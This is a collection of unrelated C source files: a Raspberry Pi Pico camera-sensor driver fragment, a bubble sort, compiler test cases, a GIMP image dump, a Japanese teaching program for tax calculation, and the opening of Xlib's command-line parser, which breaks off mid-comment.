handler, but this needs to be called once. // irq_add_shared_handler(DCMI_DMA_IRQ, dma_irq_handler, PICO_DEFAULT_IRQ_PRIORITY); irq_set_enabled(DCMI_DMA_IRQ, true); /* All good! */ sensor.detected = true; return 0; } int sensor_abort() { // Disable DMA channel dma_channel_abort(DCMI_DMA_CHANNEL); dma_irqn_set_channel_enabled(DCMI_DMA, DCMI_DMA_CHANNEL, false); // Disable state machine. pio_sm_set_enabled(DCMI_PIO, DCMI_SM, false); pio_sm_clear_fifos(DCMI_PIO, DCMI_SM); // Clear bpp flag. MAIN_FB()->bpp = -1; return 0; } int sensor_reset() { sensor_abort(); // Reset the sensor state sensor.sde = 0; sensor.pixformat = 0; sensor.framesize = 0; sensor.framerate = 0; sensor.gainceiling = 0; sensor.hmirror = false; sensor.vflip = false; sensor.transpose = false; #if MICROPY_PY_IMU sensor.auto_rotation = sensor.chip_id == OV7690_ID; #else sensor.auto_rotation = false; #endif // MICROPY_PY_IMU sensor.vsync_callback= NULL; sensor.frame_callback= NULL; // Reset default color palette. sensor.color_palette = rainbow_table; // Restore shutdown state on reset. sensor_shutdown(false); // Hard-reset the sensor if (sensor.reset_pol == ACTIVE_HIGH) { DCMI_RESET_HIGH(); mp_hal_delay_ms(10); DCMI_RESET_LOW(); } else { DCMI_RESET_LOW(); mp_hal_delay_ms(10); DCMI_RESET_HIGH(); } mp_hal_delay_ms(20); // Call sensor-specific reset function if (sensor.reset(&sensor) != 0) { return -1; } // Reset framebuffers framebuffer_reset_buffers(); return 0; } int sensor_get_id() { return sensor.chip_id; } int sensor_set_xclk_frequency(uint32_t frequency) { uint32_t p = 4; // Allocate pin to the PWM gpio_set_function(DCMI_XCLK_PIN, GPIO_FUNC_PWM); // Find out which PWM slice is connected to the GPIO uint slice_num = pwm_gpio_to_slice_num(DCMI_XCLK_PIN); // Set period to p cycles pwm_set_wrap(slice_num, p-1); // Set channel A 50% duty cycle. pwm_set_chan_level(slice_num, PWM_CHAN_A, p/2); // Set sysclk divider // f = 125000000 / (p * (1 + (p/16))) pwm_set_clkdiv_int_frac(slice_num, 1, p); // Set the PWM running pwm_set_enabled(slice_num, true); return 0; } bool sensor_is_detected() { return sensor.detected; } int sensor_sleep(int enable) { if (sensor.sleep == NULL || sensor.sleep(&sensor, enable) != 0) { // Operation not supported return -1; } return 0; } int sensor_shutdown(int enable) { int ret = 0; if (enable) { if (sensor.pwdn_pol == ACTIVE_HIGH) { DCMI_PWDN_HIGH(); } else { DCMI_PWDN_LOW(); } } else { if (sensor.pwdn_pol == ACTIVE_HIGH) { DCMI_PWDN_LOW(); } else { DCMI_PWDN_HIGH(); } } mp_hal_delay_ms(10); return ret; } int sensor_read_reg(uint16_t reg_addr) { if (sensor.read_reg == NULL) { // Operation not supported return -1; } return sensor.read_reg(&sensor, reg_addr); } int sensor_write_reg(uint16_t reg_addr, uint16_t reg_data) { if (sensor.write_reg == NULL) { // Operation not supported return -1; } return sensor.write_reg(&sensor, reg_addr, reg_data); } int sensor_set_pixformat(pixformat_t pixformat) { if (sensor.pixformat == pixformat) { // No change return 0; } // Flush previous frame. framebuffer_update_jpeg_buffer(); if (sensor.set_pixformat == NULL || sensor.set_pixformat(&sensor, pixformat) != 0) { // Operation not supported return -1; } // wait for the camera to settle mp_hal_delay_ms(100); // Set pixel format sensor.pixformat = pixformat; // Skip the first frame. MAIN_FB()->bpp = -1; // Reconfigure PIO DCMI program. return sensor_dcmi_config(pixformat); } int sensor_set_framesize(framesize_t framesize) { if (sensor.framesize == framesize) { // No change return 0; } // Flush previous frame. framebuffer_update_jpeg_buffer(); // Call the sensor specific function if (sensor.set_framesize == NULL || sensor.set_framesize(&sensor, framesize) != 0) { // Operation not supported return -1; } // wait for the camera to settle mp_hal_delay_ms(100); // Set framebuffer size sensor.framesize = framesize; // Skip the first frame. MAIN_FB()->bpp = -1; // Set MAIN FB x offset, y offset, width, height, backup width, and backup height. MAIN_FB()->x = 0; MAIN_FB()->y = 0; MAIN_FB()->w = MAIN_FB()->u = resolution[framesize][0]; MAIN_FB()->h = MAIN_FB()->v = resolution[framesize][1]; // Pickout a good buffer count for the user. framebuffer_auto_adjust_buffers(); return 0; } int sensor_set_framerate(int framerate) { if (sensor.framerate == framerate) { // No change return 0; } // Call the sensor specific function if (sensor.set_framerate == NULL || sensor.set_framerate(&sensor, framerate) != 0) { // Operation not supported return -1; } return 0; } int sensor_set_windowing(int x, int y, int w, int h) { return -1; } int sensor_set_contrast(int level) { if (sensor.set_contrast != NULL) { return sensor.set_contrast(&sensor, level); } return -1; } int sensor_set_brightness(int level) { if (sensor.set_brightness != NULL) { return sensor.set_brightness(&sensor, level); } return -1; } int sensor_set_saturation(int level) { if (sensor.set_saturation != NULL) { return sensor.set_saturation(&sensor, level); } return -1; } int sensor_set_gainceiling(gainceiling_t gainceiling) { if (sensor.gainceiling == gainceiling) { /* no change */ return 0; } /* call the sensor specific function */ if (sensor.set_gainceiling == NULL || sensor.set_gainceiling(&sensor, gainceiling) != 0) { /* operation not supported */ return -1; } sensor.gainceiling = gainceiling; return 0; } int sensor_set_quality(int qs) { /* call the sensor specific function */ if (sensor.set_quality == NULL || sensor.set_quality(&sensor, qs) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_set_colorbar(int enable) { /* call the sensor specific function */ if (sensor.set_colorbar == NULL || sensor.set_colorbar(&sensor, enable) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_set_auto_gain(int enable, float gain_db, float gain_db_ceiling) { /* call the sensor specific function */ if (sensor.set_auto_gain == NULL || sensor.set_auto_gain(&sensor, enable, gain_db, gain_db_ceiling) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_get_gain_db(float *gain_db) { /* call the sensor specific function */ if (sensor.get_gain_db == NULL || sensor.get_gain_db(&sensor, gain_db) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_set_auto_exposure(int enable, int exposure_us) { /* call the sensor specific function */ if (sensor.set_auto_exposure == NULL || sensor.set_auto_exposure(&sensor, enable, exposure_us) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_get_exposure_us(int *exposure_us) { /* call the sensor specific function */ if (sensor.get_exposure_us == NULL || sensor.get_exposure_us(&sensor, exposure_us) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_set_auto_whitebal(int enable, float r_gain_db, float g_gain_db, float b_gain_db) { /* call the sensor specific function */ if (sensor.set_auto_whitebal == NULL || sensor.set_auto_whitebal(&sensor, enable, r_gain_db, g_gain_db, b_gain_db) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_get_rgb_gain_db(float *r_gain_db, float *g_gain_db, float *b_gain_db) { /* call the sensor specific function */ if (sensor.get_rgb_gain_db == NULL || sensor.get_rgb_gain_db(&sensor, r_gain_db, g_gain_db, b_gain_db) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_set_hmirror(int enable) { if (sensor.hmirror == ((bool) enable)) { /* no change */ return 0; } /* call the sensor specific function */ if (sensor.set_hmirror == NULL || sensor.set_hmirror(&sensor, enable) != 0) { /* operation not supported */ return -1; } sensor.hmirror = enable; mp_hal_delay_ms(100); // wait for the camera to settle return 0; } bool sensor_get_hmirror() { return sensor.hmirror; } int sensor_set_vflip(int enable) { if (sensor.vflip == ((bool) enable)) { /* no change */ return 0; } /* call the sensor specific function */ if (sensor.set_vflip == NULL || sensor.set_vflip(&sensor, enable) != 0) { /* operation not supported */ return -1; } sensor.vflip = enable; mp_hal_delay_ms(100); // wait for the camera to settle return 0; } bool sensor_get_vflip() { return sensor.vflip; } int sensor_set_transpose(bool enable) { if (sensor.transpose == enable) { /* no change */ return 0; } if (sensor.pixformat == PIXFORMAT_JPEG) { return -1; } sensor.transpose = enable; return 0; } bool sensor_get_transpose() { return sensor.transpose; } int sensor_set_auto_rotation(bool enable) { if (sensor.auto_rotation == enable) { /* no change */ return 0; } if (sensor.pixformat == PIXFORMAT_JPEG) { return -1; } sensor.auto_rotation = enable; return 0; } bool sensor_get_auto_rotation() { return sensor.auto_rotation; } int sensor_set_framebuffers(int count) { // Flush previous frame. framebuffer_update_jpeg_buffer(); return framebuffer_set_buffers(count); } int sensor_set_special_effect(sde_t sde) { if (sensor.sde == sde) { /* no change */ return 0; } /* call the sensor specific function */ if (sensor.set_special_effect == NULL || sensor.set_special_effect(&sensor, sde) != 0) { /* operation not supported */ return -1; } sensor.sde = sde; return 0; } int sensor_set_lens_correction(int enable, int radi, int coef) { /* call the sensor specific function */ if (sensor.set_lens_correction == NULL || sensor.set_lens_correction(&sensor, enable, radi, coef) != 0) { /* operation not supported */ return -1; } return 0; } int sensor_ioctl(int request, ... /* arg */) { int ret = -1; if (sensor.ioctl != NULL) { va_list ap; va_start(ap, request); /* call the sensor specific function */ ret = sensor.ioctl(&sensor, request, ap); va_end(ap); } return ret; } int sensor_set_vsync_callback(vsync_cb_t vsync_cb) { sensor.vsync_callback = vsync_cb; if (sensor.vsync_callback == NULL) { // Disable VSYNC EXTI IRQ } else { // Enable VSYNC EXTI IRQ } return 0; } int sensor_set_frame_callback(frame_cb_t vsync_cb) { sensor.frame_callback = vsync_cb; return 0; } int sensor_set_color_palette(const uint16_t *color_palette) { sensor.color_palette = color_palette; return 0; } const uint16_t *sensor_get_color_palette() { return sensor.color_palette; } void VsyncExtiCallback() { if (sensor.vsync_callback != NULL) { //sensor.vsync_callback(HAL_GPIO_ReadPin(DCMI_VSYNC_PORT, DCMI_VSYNC_PIN)); } } // To make the user experience better we automatically shrink the size of the MAIN_FB() to fit // within the RAM we have onboard the system. int sensor_check_buffsize() { uint32_t bpp; uint32_t size = framebuffer_get_buffer_size(); switch (sensor.pixformat) { case PIXFORMAT_GRAYSCALE: case PIXFORMAT_BAYER: bpp = 1; break; case PIXFORMAT_RGB565: case PIXFORMAT_YUV422: bpp = 2; break; default: return -1; } // This driver doesn't support windowing or anything like that. if ((MAIN_FB()->u * MAIN_FB()->v * bpp) > size) { return -1; } return 0; } static void dma_irq_handler() { // Clear the interrupt request. dma_irqn_acknowledge_channel(DCMI_DMA, DCMI_DMA_CHANNEL); framebuffer_get_tail(FB_NO_FLAGS); vbuffer_t *buffer = framebuffer_get_tail(FB_PEEK); if (buffer != NULL) { // Set next buffer and retrigger the DMA channel. dma_channel_set_write_addr(DCMI_DMA_CHANNEL, buffer->data, true); // Unblock the state machine pio_sm_restart(DCMI_PIO, DCMI_SM); pio_sm_clear_fifos(DCMI_PIO, DCMI_SM); pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->v - 1)); pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->u * MAIN_FB()->bpp) - 1); } } // This is the default snapshot function, which can be replaced in sensor_init functions. int sensor_snapshot(sensor_t *sensor, image_t *image, uint32_t flags) { // Compress the framebuffer for the IDE preview. framebuffer_update_jpeg_buffer(); if (sensor_check_buffsize() != 0) { return -1; } // Free the current FB head. framebuffer_free_current_buffer(); switch (sensor->pixformat) { case PIXFORMAT_BAYER: case PIXFORMAT_GRAYSCALE: MAIN_FB()->bpp = 1; break; case PIXFORMAT_YUV422: case PIXFORMAT_RGB565: MAIN_FB()->bpp = 2; break; default: return -1; } vbuffer_t *buffer = framebuffer_get_head(FB_NO_FLAGS); // If there's no ready buffer in the fifo, and the DMA is Not currently // transferring a new buffer, reconfigure and restart the DMA transfer. if (buffer == NULL && !dma_channel_is_busy(DCMI_DMA_CHANNEL)) { buffer = framebuffer_get_tail(FB_PEEK); if (buffer == NULL) { return -1; } // Configure the DMA on the first frame, for later frames only the write is changed. sensor_dma_config(MAIN_FB()->u, MAIN_FB()->v, MAIN_FB()->bpp, (void *) buffer->data, (SENSOR_HW_FLAGS_GET(sensor, SENSOR_HW_FLAGS_RGB565_REV) && MAIN_FB()->bpp == 2)); // Unblock the state machine pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->v - 1)); pio_sm_put_blocking(DCMI_PIO, DCMI_SM, (MAIN_FB()->u * MAIN_FB()->bpp) - 1); } // Wait for the DMA to finish the transfer. for (mp_uint_t ticks = mp_hal_ticks_ms(); buffer == NULL;) { buffer = framebuffer_get_head(FB_NO_FLAGS); if ((mp_hal_ticks_ms() - ticks) > 3000) { sensor_abort(); return -1; } } MAIN_FB()->w = MAIN_FB()->u; MAIN_FB()->h = MAIN_FB()->v; // Set the user image. if (image != NULL) { image->w = MAIN_FB()->w; image->h = MAIN_FB()->h; image->bpp = MAIN_FB()->bpp; image->pixels = buffer->data; } return 0; } #endif
the_stack_data/90764222.c
#include <stdio.h> #include <stdlib.h> void printArray(int *array, int arrayLength) { for (int i = 0; i < arrayLength; i++) { printf("%d ", *(array + i)); } printf("\n"); } void bubbleSort(int *array, int arrayLength) { int i, j; int tmpElement = 0; for (i = 1; i < arrayLength; i++) { for (j = 0; j < arrayLength - i; j++) { if (array[j] > array[j + 1]) { tmpElement = *(array + j); *(array + j) = *(array + j + 1); *(array + j + 1) = tmpElement; } } } } void main() { FILE *arrayFile = fopen("../../arrayFile.txt", "r"); int i; int number; int length = 60000; int array[length]; for (i = 0; i < length; i++) { fscanf(arrayFile, "%d\n", &number); array[i] = number; } bubbleSort(array, length); // printf("bubble 3\n"); // printf("ARRAY DESORDENADO: "); // printArray(array, length); // bubbleSort(array, length); // printf("ARRAY ORDENADO: "); // printArray(array, length); // printf("\n"); }
the_stack_data/683875.c
/* * Copyright (c) 2017, 2018, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ struct { char a; char b[][4]; } a3 = { 'o', { "wx" } }; int main() { return a3.b[0][0] + a3.b[0][1] + a3.b[0][2]; }
the_stack_data/48574121.c
/* GIMP RGBA C-Source image dump (GooseFlapUp30x30.c) */ #define TMP_BYTES_PER_PIXEL (2) /* 2:RGB16, 3:RGB, 4:RGBA */ #define TMP_PIXEL_DATA ((unsigned char*) TMP_pixel_data) static unsigned char goose_up_bmp[30 * 31 * 2 + 1] = ("\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\000\000\000\000\000\000\000\000\023\255\023\255\023\255\023\255\023" "\255\023\255\023\255\023\255\023\255\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\000\000\000\000" "\000\023\255\023\255\023\255\023\255\023\255\023\255\023\255\023\255\023\255\000\000\000\000" "\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\000\000\000\000\000\000\000\000\023\255\023\255\023\255\023\255\023\255\023" "\255\023\255\023\255\023\255\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\000\000\023\255\023\255\023\255" "\023\255\023\255\023\255\023\255\023\255\023\255\023\255\023\255\000\000\000\000e\333e\333" "e\333e\333e\333e\333e\333e\333\000\000\000\000\377\377\377\377\377\377\377\377\377" "\377\377\377\000\000\023\255\023\255\023\255\023\255\023\255\023\255\023\255\023\255\023" "\255\023\255\023\255\000\000\000\000e\333e\333e\333e\333e\333e\333e\333e\333\000\000\000\000" "\377\377\377\377\377\377\377\377\377\377\377\377\000\000\023\255\023\255\023\255" "\023\255\023\255\023\255\023\255\023\255\023\255\023\255\023\255\000\000\000\000e\333e\333" "e\333e\333e\333e\333e\333e\333\000\000\000\000\377\377\377\377\377\377\377\377\377" "\377\377\377\000\000\000\000\000\000\000\000\000\000\023\255\023\255\023\255\023\255\023\255\000\000\000" "\000e\333e\333\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377\377\377\377" "\377\377\377\377\377\377\000\000\000\000\000\000\000\000\000\000\023\255\023\255\023\255\023\255\023" "\255\000\000\000\000e\333e\333\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377" "\377\377\377\377\377\000\000\000\000\010\233\010\233\010\233\010\233\010\233\000\000\000\000\212" "R\212R\212R\212R\212R\000\000\000\000e\333e\333e\333e\333e\333e\333e\333e\333e\333" "e\333\000\000\000\000\377\377\377\377\000\000\000\000\010\233\010\233\010\233\010\233\010\233\000" "\000\000\000\212R\212R\212R\212R\212R\000\000\000\000e\333e\333e\333e\333e\333e\333e\333" "e\333e\333e\333\000\000\000\000\377\377\377\377\000\000\000\000\010\233\010\233\010\233\010\233" "\010\233\000\000\000\000\212R\212R\212R\212R\212R\000\000\000\000e\333e\333e\333e\333e\333" "e\333e\333e\333e\333e\333\000\000\000\000\000\000\000\000\010\233\010\233$z$z$z$z$z\010\233\010" "\233\000\000\212R\212R\212R\212R\212R\212R\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" "\000\000\377\377\377\377\000\000\000\000\010\233\010\233$z$z$z$z$z\010\233\010\233\000\000\212" "R\212R\212R\212R\212R\212R\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377" "\377\377\000\000\000\000$z$z$z$z$z$z$z$z$z\000\000\212R\212R\212R\212R\000\000\000\000\071\327" "\337\377\337\377\337\377\337\377\337\377\337\377\000\000\377\377\377\377\377\377" "\377\377\000\000\000\000$z$z$z$z$z$z$z$z$z\000\000\212R\212R\212R\212R\000\000\000\000\071\327" "\337\377\337\377\337\377\337\377\337\377\337\377\000\000\377\377\377\377\377\377" "\377\377\000\000\000\000$z$z$z$z$z$z$z\000\000\000\000\212R\212R\212R\000\000\000\000\071\327\071\327" "\337\377\337\377\337\377\000\000\000\000\337\377\337\377\000\000\377\377\377\377\377\377" "\377\377\000\000\000\000$z$z$z$z$z$z$z\000\000\000\000\212R\212R\212R\000\000\000\000\071\327\071\327" "\337\377\337\377\337\377\000\000\000\000\337\377\337\377\000\000\377\377\377\377\377\377" "\377\377\000\000\000\000$z$z$z$z$z$z$z\000\000\000\000\212R\212R\212R\000\000\000\000\071\327\071\327" "\337\377\337\377\337\377\000\000\000\000\337\377\337\377\000\000\377\377\377\377\377\377" "\377\377\377\377\377\377\000\000\000\000\000\000\000\000\000\000\000\000\000\000\212R\212R\212R\212R\212" "R\000\000\000\000\071\327\071\327\337\377\337\377\337\377\000\000\000\000\337\377\337\377\000" "\000\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\000\000\000\000\000\000\000\000\000" "\000\000\212R\212R\212R\212R\212R\000\000\000\000\071\327\071\327\337\377\337\377\337\377" "\000\000\000\000\337\377\337\377\000\000\377\377\377\377\377\377\377\377\377\377\377\377" "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\212R\212R\212R\212R\212R\000\000\000\000\071\327\071\327" "\337\377\337\377\337\377\000\000\000\000\337\377\337\377\000\000\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\000\242\020\242\020\242" "\020\242\020\212R\212R\212R\000\000\000\000\337\377\337\377\337\377\337\377\337\377" "\337\377\337\377\000\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\000\000\000\000\242\020\242\020\242\020\242\020\212R\212" "R\212R\000\000\000\000\337\377\337\377\337\377\337\377\337\377\337\377\337\377\000\000" "\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\000\000\000\000\000\000\000\000\242\020\242\020\242\020\242\020\242\020" "\000\000\000\000\337\377\337\377\337\377\000\000\000\000\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\000\000\000\000\000\000\000\000\242\020\242\020\242\020\242\020\242\020\000\000\000\000\337\377\337\377" "\337\377\000\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\000\000\000\000\000\242\020" "\242\020\242\020\242\020\242\020\000\000\000\000\337\377\337\377\337\377\000\000\000\000\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\000\000\000\000" "\000\000\000\000\000\000\000\000\000\000\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" "\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377");
the_stack_data/85947.c
/* Uninitialized variable warning tests... Inspired by part of optabs.c:expand_binop. May be the same as uninit-1.c. */ /* { dg-do compile } */ /* { dg-options "-Wuninitialized" } */ #include <limits.h> void add_bignums (int *out, int *x, int *y) { int p, sum; int carry; /* { dg-bogus "carry" "uninitialized variable warning" } */ p = 0; for (; *x; x++, y++, out++, p++) { if (p) sum = *x + *y + carry; else sum = *x + *y; if (sum < 0) { carry = 1; sum -= INT_MAX; } else carry = 0; } }
the_stack_data/13487.c
/************************************************************** * FILENAME: main.c REF: ASM_hash_n_dash_srcs * * DESCRIPTION: * Entry point for <ATTEMPT>: hash_n_dash * * ENVIRONMENT: * macOS High Sierra Version 10.13.4 * Visual Studio Code 1.Version: 1.38.1 * * VERSION: * 0.0.0.0 * * AUTHOR(s): * Kevin Colour * * DATES: * Created: Thu Feb 13 12:25:21 PST 2020 * Verified Execute: * ****************************************************************/
the_stack_data/906217.c
#include<stdio.h>/*あらかじめ用意されているC言語の入出力関係の機能(ライブラリ)を「使いますよ」という宣言をしています。*/ int main(void)/*C言語のプログラムでは「int main(void)」から実行が始まります*/ {/*「main(void){」で始まり「}」で終わります*/ int price1,price2,price3,subtotal,tax_price,total;/*「price1」「price2」「price3」「subtotal」「tax_price」「total」という変数を宣言しています。同じ型の変数は,変数名をカンマ(,)で区切ることによって,まとめて宣言することができます。*/ const double TAX_RATE=0.08;/*消費税率8%(0.08)をdouble型のTAX_RATEに格納しています。このTAX_RATEに格納された値はプログラムの中で変更できないため「定数」と呼ばれています。定数であることを「const」で示しています。*/ printf("買い物を3回します\n");/*C言語が用意している画面に文字列を表示する命令(関数)です。「"」で囲まれた文字列が画面に表示されます。最後の「|n");」は半角文字でなけれはなりません。最後の「|n");」は改行を意味しています。*/ printf("1回目の金額を入力してください");/*C言語が用意している画面に文字列を表示する命令(関数)です。「"」で囲まれた文字列が画面に表示されます。*/ scanf("%d",&price1);/*入力した金額を「price1」という変数に格納しています。*/ printf("2回目の金額を入力してください");/*C言語が用意している画面に文字列を表示する命令(関数)です。「"」で囲まれた文字列が画面に表示されます。*/ scanf("%d",&price2);/*入力した金額を「price2」という変数に格納しています。*/ printf("3回目の金額を入力してください");/*C言語が用意している画面に文字列を表示する命令(関数)です。「"」で囲まれた文字列が画面に表示されます。*/ scanf("%d",&price3);/*入力した金額を「price3」という変数に格納しています。*/ subtotal=price1+price2+price3;/*「price1」と「price2」と「price3」を加算した結果を「subtotal」に代入しています。ここでは3回分の買い物金額の小計を計算しています。*/ tax_price=subtotal*TAX_RATE;/*「subtotal」と「TAX_RATE」を乗算した結果を「tax_price」に代入しています。ここでは小計に消費税率をかけて消費税額を計算しています*/ total=subtotal+tax_price;/*「subtotal」「tax_price」を加算した結果を「total」に代入しています。ここでは小計と消費税額を足して合計金額を求めています*/ printf("小計:%d円です。",subtotal);/*subtotalという名前の変数に格納された小計を画面に表示しています*/ printf("消費税額:%d円です。",tax_price);/*tax_priceという名前の変数に格納された消費税額を画面に表示しています*/ printf("合計:%d円です。\n",total);/*totalという名前の変数に格納された小計を画面に表示しています*/ return 0;/*プログラムを終了する命令です*/ }/*「main(void){」で始まり「}」で終わります*/
the_stack_data/35049.c
/*********************************************************** Copyright 1987, 1988, 1998 The Open Group Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of The Open Group shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from The Open Group. Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of Digital not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ******************************************************************/ /* XrmParseCommand() Parse command line and store argument values into resource database Allows any un-ambiguous abbreviation for an option name, but requires that the table be ordered with any options that are prefixes of other options appearing before the longer version in the table. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <X11/Xlibint.h> #include <X11/Xresource.h> #include <stdio.h> static void _XReportParseError(XrmOptionDescRec *arg, const char *msg) { (void) fprintf(stderr, "Error parsing argument \"%s\" (%s); %s\n", arg->option, arg->specifier, msg); exit(1); } void XrmParseCommand( XrmDatabase *pdb, /* data base */ register XrmOptionDescList options, /* pointer to table of valid options */ int num_options, /* number of options */ _Xconst char *prefix, /* name to prefix resources with */ int *argc, /* address of argument count */ char **argv) /* argument list (command line) */ { int foundOption; char **argsave; register int i, myargc; XrmBinding bindings[100]; XrmQuark quarks[100]; XrmBinding *start_bindings; XrmQuark *start_quarks; char *optP, *argP = NULL, optchar, argchar = 0; int matches; enum {DontCare, Check, NotSorted, Sorted} table_is_sorted; char **argend; #define PutCommandResource(value_str) \ { \ XrmStringToBindingQuarkList( \ options[i].specifier, start_bindings, start_quarks); \ XrmQPutStringResource(pdb, bindings, quarks, value_str); \ } /* PutCommandResource */ myargc = (*argc); argend = argv + myargc; argsave = ++argv; /* Initialize bindings/quark list with prefix (typically app name). */ quarks[0] = XrmStringToName(prefix); bindings[0] = XrmBindTightly; start_quarks = quarks+1; start_bindings = bindings+1; table_is_sorted = (myargc > 2) ? Check : DontCare; for (--myargc; myargc > 0; --myargc, ++argv) { foundOption = False; matches = 0; for (i=0; i < num_options; ++i) { /* checking the sort order first insures we don't have to re-do the check if the arg hits on the last entry in the table. Useful because usually '=' is the last entry and users frequently specify geometry early in the command */ if (table_is_sorted == Check && i > 0 && strcmp(options[i].option, options[i-1].option) < 0) { table_is_sorted = NotSorted; } for (argP = *argv, optP = options[i].option; (optchar = *optP++) && (argchar = *argP++) && argchar == optchar;); if (!optchar) { if (!*argP || options[i].argKind == XrmoptionStickyArg || options[i].argKind == XrmoptionIsArg) { /* give preference to 